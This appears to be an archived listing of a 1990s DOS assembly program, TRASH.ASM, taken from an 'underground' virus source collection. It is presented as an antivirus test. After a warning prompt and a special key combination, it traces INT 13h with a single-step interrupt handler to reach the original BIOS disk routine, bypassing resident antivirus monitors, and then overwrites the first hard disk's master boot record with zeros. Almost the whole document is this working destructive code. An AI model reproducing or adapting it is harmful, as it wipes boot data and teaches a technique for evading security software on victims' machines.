home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / t / trash.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  3.5 KB  |  169 lines

  1.     page    ,132
  2.  
  3.     title    Trash - smashes the boot record on the first hard disk
  4.  
  5.     name    TRASH
  6.  
  7.  
  8.  
  9.     .radix    16
  10.  
  11.  
  12.  
  13. code    segment
  14.  
  15.     assume    cs:code,ds:code
  16.  
  17.  
  18.  
  19.     org    100
  20.  
  21.  
  22.  
  23. CODEX    equ    0C000        ; Or use 0300 when tracing DOS
  24.  
  25.  
  26.  
  27. CR    equ    0Dh
  28.  
  29. LF    equ    0A
  30.  
  31.  
  32.  
  33. start:
  34.  
  35.     jmp    do_it
  36.  
  37.  
  38.  
  39. oldint1 dd    ?
  40.  
  41. newintx dd    ?
  42.  
  43. oldintx dd    ?
  44.  
  45. trace    db    1
  46.  
  47. found    db    0
  48.  
  49. buffer    db    200 dup (0)
  50.  
  51. message db    CR,LF,'**********  W A R N I N G ! ! !  **********',CR,LF,CR,LF
  52.  
  53.     db    'This program, when run, will zero (DESTROY!) the',CR,LF
  54.  
  55.     db    'master boot record of your first hard disk.',CR,LF,CR,LF
  56.  
  57.     db    'The purpose of this is to test the antivirus software,',CR,LF
  58.  
  59.     db    'so be sure you have installed your favourite',CR,LF
  60.  
  61.     db    'protecting program before running this one!',CR,LF
  62.  
  63.     db    "(It's almost sure it will fail to protect you anyway!)",CR,LF
  64.  
  65.     db    CR,LF,'Press any key to abort, or',CR,LF
  66.  
  67.     db    'press Ctrl-Alt-RightShift-F5 to proceed (at your own risk!) $'
  68.  
  69. warned    db    CR,LF,CR,LF,'Allright, you were warned!',CR,LF,'$'
  70.  
  71.  
  72.  
  73. do_it:
  74.  
  75.     mov    ax,600        ; Clear the screen by scrolling it up
  76.  
  77.     mov    bh,7
  78.  
  79.     mov    dx,1950
  80.  
  81.     xor    cx,cx
  82.  
  83.     int    10
  84.  
  85.  
  86.  
  87.     mov    ah,0F        ; Get the current video mode
  88.  
  89.     int    10        ;  (the video page, more exactly)
  90.  
  91.  
  92.  
  93.     mov    ah,2        ; Home the cursor
  94.  
  95.     xor    dx,dx
  96.  
  97.     int    10
  98.  
  99.  
  100.  
  101.     mov    ah,9        ; Print a warning message
  102.  
  103.     mov    dx,offset message
  104.  
  105.     int    21
  106.  
  107.  
  108.  
  109.     mov    ax,0C08     ; Flush the keyboard and get a char
  110.  
  111.     int    21
  112.  
  113.     cmp    al,0        ; Extendet ASCII?
  114.  
  115.     jne    quit1        ; Exit if not
  116.  
  117.     mov    ah,8        ; Get the key code
  118.  
  119.     int    21
  120.  
  121.     cmp    al,6C        ; Shift-F5?
  122.  
  123.     jne    quit1        ; Exit if not
  124.  
  125.     mov    ah,2        ; Get keyboard shift status
  126.  
  127.     int    16
  128.  
  129.     and    al,1101b    ; Ctrl-Alt-RightShift?
  130.  
  131.     jnz    proceed     ; Proceed if so
  132.  
  133. quit1:
  134.  
  135.     jmp    quit        ; Otherwise exit
  136.  
  137.  
  138.  
  139. proceed:
  140.  
  141.     mov    ah,9        ; Print the last message
  142.  
  143.     mov    dx,offset warned
  144.  
  145.     int    21
  146.  
  147.  
  148.  
  149.     mov    ax,3501     ; Get interrupt vector 1 (single steping)
  150.  
  151.     int    21
  152.  
  153.     mov    word ptr oldint1,bx
  154.  
  155.     mov    word ptr oldint1+2,es
  156.  
  157.  
  158.  
  159.     mov    ax,2501     ; Set new INT 1 handler
  160.  
  161.     mov    dx,offset newint1
  162.  
  163.     int    21
  164.  
  165.  
  166.  
  167.     mov    ax,3513     ; Get interrupt vector 13
  168.  
  169.     int    21
  170.  
  171.     mov    word ptr oldintx,bx
  172.  
  173.     mov    word ptr oldintx+2,es
  174.  
  175.     mov    word ptr newintx,bx
  176.  
  177.     mov    word ptr newintx+2,es
  178.  
  179.  
  180.  
  181. ; The following code is sacred in it's present form.
  182.  
  183. ; To change it would cause volcanos to errupt,
  184.  
  185. ; the ground to shake, and program not to run!
  186.  
  187.  
  188.  
  189.     mov    ax,200
  190.  
  191.     push    ax
  192.  
  193.     push    cs
  194.  
  195.     mov    ax,offset done
  196.  
  197.     push    ax
  198.  
  199.     mov    ax,100
  200.  
  201.     push    ax
  202.  
  203.     push    cs
  204.  
  205.     mov    ax,offset faddr
  206.  
  207.     push    ax
  208.  
  209.     mov    ah,55
  210.  
  211.     iret
  212.  
  213.  
  214.  
  215.     assume    ds:nothing
  216.  
  217.  
  218.  
  219. faddr:
  220.  
  221.     jmp    oldintx
  222.  
  223.  
  224.  
  225. newint1:
  226.  
  227.     push    bp
  228.  
  229.     mov    bp,sp
  230.  
  231.     cmp    trace,0
  232.  
  233.     jne    search
  234.  
  235. exit:
  236.  
  237.     and    [bp+6],not 100
  238.  
  239. exit1:
  240.  
  241.     pop    bp
  242.  
  243.     iret
  244.  
  245. search:
  246.  
  247.     cmp    [bp+4],CODEX
  248.  
  249.     jb    exit1
  250.  
  251. ;Or use ja if you want to trace DOS-owned interrupt
  252.  
  253.     push    ax
  254.  
  255.     mov    ax,[bp+4]
  256.  
  257.     mov    word ptr newintx+2,ax
  258.  
  259.     mov    ax,[bp+2]
  260.  
  261.     mov    word ptr newintx,ax
  262.  
  263.     pop    ax
  264.  
  265.     mov    found,1
  266.  
  267.     mov    trace,0
  268.  
  269.     jmp    exit
  270.  
  271.  
  272.  
  273.     assume    ds:code
  274.  
  275. done:
  276.  
  277.     mov    trace,0
  278.  
  279.     push    ds
  280.  
  281.     mov    ax,word ptr oldint1+2
  282.  
  283.     mov    dx,word ptr oldint1
  284.  
  285.     mov    ds,ax
  286.  
  287.     mov    ax,2501     ; Restore old INT 1 handler
  288.  
  289.     int    21
  290.  
  291.     pop    ds
  292.  
  293.  
  294.  
  295. ; Code beyong this point is not sacred...
  296.  
  297. ; It may be perverted in any manner by any pervert.
  298.  
  299.  
  300.  
  301.     cmp    found,1     ; See if original INT 13 handler found
  302.  
  303.     jne    quit        ; Exit if not
  304.  
  305.     push    ds
  306.  
  307.     pop    es        ; Restore ES
  308.  
  309.  
  310.  
  311.     mov    ax,301        ; Write 1 sector
  312.  
  313.     mov    cx,1        ; Cylinder 0, sector 1
  314.  
  315.     mov    dx,80        ; Head 0, drive 80h
  316.  
  317.     mov    bx,offset buffer
  318.  
  319.     pushf            ; Simulate INT 13
  320.  
  321.     call    newintx     ; Do it
  322.  
  323.  
  324.  
  325. quit:
  326.  
  327.     mov    ax,4C00     ; Exit program
  328.  
  329.     int    21
  330.  
  331.  
  332.  
  333. code    ends
  334.  
  335.     end    start
  336.  
  337.